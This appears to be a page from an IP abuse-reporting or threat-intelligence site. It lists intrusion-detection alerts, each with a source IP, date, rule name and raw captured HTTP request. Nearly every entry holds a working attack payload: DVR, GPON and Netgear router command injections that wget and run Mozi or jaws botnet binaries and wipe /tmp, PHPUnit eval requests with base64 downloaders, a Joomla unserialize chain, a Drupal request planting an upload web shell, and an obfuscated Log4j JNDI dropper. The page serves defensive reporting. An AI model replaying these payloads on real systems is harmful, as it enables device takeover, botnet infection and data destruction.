🇲🇽
201.123.14.244
16 Feb 2022
SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt
2022-02-16T18:25:13.980Z
{
GE ...
show more
SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt
2022-02-16T18:25:13.980Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ botaflatoon.sytes.net/jaws;sh+/tmp/jaws HTTP/1.1
User-Agent: Hello, world
Host: 127.0.0.1:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
Web App Attack
🇸🇬
206.189.88.107
16 Feb 2022
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-02-16T14:23:41.829Z
{
GET /vendor/ph ...
show more
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-02-16T14:23:41.829Z
{
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Content-Length: 18
<?php phpinfo();?>
}
show less
Hacking
Web App Attack
🇩🇴
38.7.81.48
15 Feb 2022
SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt
2022-02-15T18:22:39.498Z
{
GE ...
show more
SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt
2022-02-15T18:22:39.498Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ http://23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm HTTP/1.1
User-Agent: Hello, world
Host: 127.0.0.1:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
Web App Attack
🇮🇷
2.187.248.192
14 Feb 2022
SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt
2022-02-14T21:08:28.554Z
{
GE ...
show more
SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt
2022-02-14T21:08:28.554Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ http://23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm HTTP/1.1
User-Agent: Hello, world
Host: 127.0.0.1:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
Web App Attack
🇫🇷
5.39.96.153
14 Feb 2022
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-02-11T23:10:04.079Z
{
GET /vendor/ph ...
show more
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-02-11T23:10:04.079Z
{
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 19
<?php phpinfo(); ?>
}
show less
Web App Attack
🇮🇩
103.157.26.88
14 Feb 2022
Joomla JDatabaseDriverMysqli unserialize code execution attempt
2022-02-13T23:33:38.820Z
{
GET /j ...
show more
Joomla JDatabaseDriverMysqli unserialize code execution attempt
2022-02-13T23:33:38.820Z
{
GET /joomla/ HTTP/1.1
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:56:"die(md5(DIRECTORY_SEPARATOR));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}....
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0
Connection: Keep-Alive
Cache-Control: no-cache
}
show less
Hacking
Web App Attack
🇩🇪
188.96.117.222
10 Feb 2022
GPON Router authentication bypass and command injection attempt
2022-02-10T15:01:52.279Z
{
POST / ...
show more
GPON Router authentication bypass and command injection attempt
2022-02-10T15:01:52.279Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://192.168.1.1:8088/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Hacking
Web App Attack
🇩🇪
135.125.205.142
09 Feb 2022
Drupal unsafe internal attribute remote code execution attempt
2022-02-09 13:14:30.256 -08:00
{
P ...
show more
Drupal unsafe internal attribute remote code execution attempt
2022-02-09 13:14:30.256 -08:00
{
POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28%24_POST%5Bc%5D%29%3B%2F%2F&name%5B%23type%5D=markup&name%5B%23markup%5D=assert HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Accept: */*
Referer: http://[host]/?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28%24_POST%5Bc%5D%29%3B%2F%2F&name%5B%23type%5D=markup&name%5B%23markup%5D=assert
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
form_id=user_pass&_triggering_element_name=name&fdgdfgvv=hrehnrhknvor
}
show less
Hacking
Web App Attack
🇰🇭
45.121.237.227
09 Feb 2022
MVPower DVR Shell arbitrary command execution attempt
2022-02-09T21:00:34.016Z
{
GET /shell?cd+/t ...
show more
MVPower DVR Shell arbitrary command execution attempt
2022-02-09T21:00:34.016Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+ 136[.]144[.]41[.]60/.s4y/arm7;sh+/tmp/arm7 HTTP/1.1
User-Agent: Hello, world
Host: 127.0.0.1:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
Web App Attack
🇨🇦
174.116.32.229
04 Feb 2022
MVPower DVR Shell arbitrary command execution attempt
2022-02-04T07:44:21.594Z
{
GET /shell?cd+/t ...
show more
MVPower DVR Shell arbitrary command execution attempt
2022-02-04T07:44:21.594Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+54[.]37[.]209[.]36/jaws;sh+/tmp/jaws HTTP/1.1
User-Agent: Hello, world
Host: 127.0.0.1:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
Web App Attack
🇵🇰
175.107.3.167
02 Feb 2022
GPON Router authentication bypass and command injection attempt
2022-02-02T08:08:27.124Z
{
POST / ...
show more
GPON Router authentication bypass and command injection attempt
2022-02-02T08:08:27.124Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://175[.]107[.]3[.]167[:]52227/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Hacking
Web App Attack
🇨🇴
191.107.223.217
02 Feb 2022
GPON Router authentication bypass and command injection attempt
2022-02-02T10:19:34.620Z
{
POST / ...
show more
GPON Router authentication bypass and command injection attempt
2022-02-02T10:19:34.620Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://191[.]107[.]223[.]217[:]41164/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Hacking
Web App Attack
🇺🇸
20.83.254.234
02 Feb 2022
PHPUnit PHP remote code execution attempt
2022-02-01T23:58:02.284Z
{
GET /vendor/phpunit/phpunit/ ...
show more
PHPUnit PHP remote code execution attempt
2022-02-01T23:58:02.284Z
{
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 19
<?php phpinfo(); ?>
}
show less
Hacking
Web App Attack
🇮🇳
101.0.55.37
01 Feb 2022
MVPower DVR Shell arbitrary command execution attempt
2022-02-01T06:26:57.889Z
{
GET /shell?cd+/t ...
show more
MVPower DVR Shell arbitrary command execution attempt
2022-02-01T06:26:57.889Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+http://101[.]0[.]55[.]37[:]49642/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
Web App Attack
🇮🇳
27.6.197.104
31 Jan 2022
GPON Router authentication bypass and command injection attempt
2022-01-31T20:10:33.635Z
{
POST / ...
show more
GPON Router authentication bypass and command injection attempt
2022-01-31T20:10:33.635Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://27[.]6[.]197[.]104[:]60864/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Hacking
Web App Attack
🇮🇩
103.159.224.34
31 Jan 2022
Drupal 8 remote code execution attempt
2022-01-30T17:48:41.329Z
{
POST //user/register?element_pa ...
show more
Drupal 8 remote code execution attempt
2022-01-30T17:48:41.329Z
{
POST //user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip,deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 570
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=passthru&mail[a][#type]=markup&mail[a][#markup]=echo '<?php echo "PHP Uploader - Yacine_Mohamed"; echo "<br>".php_uname()."<br>"; echo "<form method='post' enctype='multipart/form-data'> <input type='file' name='zb'><input type='submit' name='upload' value='upload'> </form>"; if($_POST['upload']) { if(@copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) { echo "Success!"; } else { echo "Failed to Upload."; } } ?>' | tee sites/default/files/HolaDR8_33132.php | rm -rf sites/default/files/.htaccess
}
show less
Hacking
Web App Attack
🇮🇳
103.40.196.0
31 Jan 2022
MVPower DVR Shell arbitrary command execution attempt
2022-01-31T19:42:47.981Z
{
GET /shell?cd+/t ...
show more
MVPower DVR Shell arbitrary command execution attempt
2022-01-31T19:42:47.981Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+http://103[.]40[.]196[.]0[:]45592/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Hacking
Web App Attack
🇮🇳
61.3.180.157
31 Jan 2022
Netgear DGN1000 series routers authentication bypass attempt
2022-01-31T07:43:47.342Z
{
GET /setu ...
show more
Netgear DGN1000 series routers authentication bypass attempt
2022-01-31T07:43:47.342Z
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://61[.]3[.]180[.]157[:]35532/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
Web App Attack
🇮🇳
103.91.17.194
31 Jan 2022
Netgear DGN1000 series routers authentication bypass attempt
2022-01-31T11:28:49.649Z
{
GET /setu ...
show more
Netgear DGN1000 series routers authentication bypass attempt
2022-01-31T11:28:49.649Z
{
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
}
show less
Hacking
Web App Attack
🇺🇸
146.148.33.251
28 Jan 2022
Adobe ColdFusion admin interface access attempt
2022-01-28T01:29:31.651Z
{
GET /CFIDE/administrat ...
show more
Adobe ColdFusion admin interface access attempt
2022-01-28T01:29:31.651Z
{
GET /CFIDE/administrator/ HTTP/1.1
Connection: Keep-Alive
}
show less
Hacking
Web App Attack
🇺🇸
34.75.236.135
24 Jan 2022
Apache Log4j logging remote code execution attempt
2022-01-24T05:37:36.339Z
{
GET /solr/admin/col ...
show more
Apache Log4j logging remote code execution attempt
2022-01-24T05:37:36.339Z
{
GET /solr/admin/collections?action=t(%27$%7B$%7Benv:BARFOO:-j%7Dndi$%7Benv:BARFOO:-:%7D$%7Benv:BARFOO:-l%7Ddap$%7Benv:BARFOO:-:%7D//5[.]181[.]80[.]103[:]1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE5Mi45NS41MC4yMjgvYmlucy5zaCAtbyBiaW5zLnNoOyB3Z2V0IGh0dHA6Ly8xOTIuOTUuNTAuMjI4L2JpbnMuc2g7IGNobW9kIDc3NyBiaW5zLnNoOyBzaCBiaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYyA=%7D%27)&wt=json HTTP/1.1
X-Api-Version: t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//5[.]181[.]80[.]103[:]1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE5Mi45NS41MC4yMjgvYmlucy5zaCAtbyBiaW5zLnNoOyB3Z2V0IGh0dHA6Ly8xOTIuOTUuNTAuMjI4L2JpbnMuc2g7IGNobW9kIDc3NyBiaW5zLnNoOyBzaCBiaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYyA=}')
User-Agent: t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}...
}
show less
Hacking
Web App Attack
🇺🇸
34.219.228.114
24 Jan 2022
PHPUnit PHP remote code execution attempt
2022-01-24T08:20:15.232Z
{
GET /vendor/phpunit/phpunit/ ...
show more
PHPUnit PHP remote code execution attempt
2022-01-24T08:20:15.232Z
{
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 19
}
show less
Hacking
Web App Attack
🇺🇸
5.161.46.51
24 Jan 2022
PHPUnit PHP remote code execution attempt
2022-01-24T01:37:35.954Z
{
GET /wp-content/wp-plugins/m ...
show more
PHPUnit PHP remote code execution attempt
2022-01-24T01:37:35.954Z
{
GET /wp-content/wp-plugins/mir-ad-network/base58php/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
<?php echo(base64_decode("a2lsbF90aGVfbmV0"));
}
show less
Hacking
Web App Attack
🇩🇪
82.165.53.210
24 Jan 2022
PHPUnit PHP remote code execution attempt
2022-01-24T00:43:21.003Z
{
GET /vendor/phpunit/phpunit/ ...
show more
PHPUnit PHP remote code execution attempt
2022-01-24T00:43:21.003Z
{
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 698
<?php eval('?>'.base64_decode('PD9waHAKZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CgkkZnAgPSBmb3BlbigkaXNpLCAidyIpOwoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKCXJldHVybiBjdXJsX2V4ZWMoJGNoKTsKCWN1cmxfY2xvc2UoJGNoKTsKCWZjbG9zZSgkZnApOwoJb2JfZmx1c2goKTsKCWZsdXNoKCk7Cn0KaWYoYWRtaW5lcigiaHR0cHM6Ly9wY...
}
show less
Hacking
Web App Attack
🇺🇸
3.144.12.73
24 Jan 2022
PHPUnit PHP remote code execution attempt
2022-01-23T08:03:55.444Z
{
GET /vendor/phpunit/phpunit/ ...
show more
PHPUnit PHP remote code execution attempt
2022-01-23T08:03:55.444Z
{
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 19
}
show less
Hacking
Web App Attack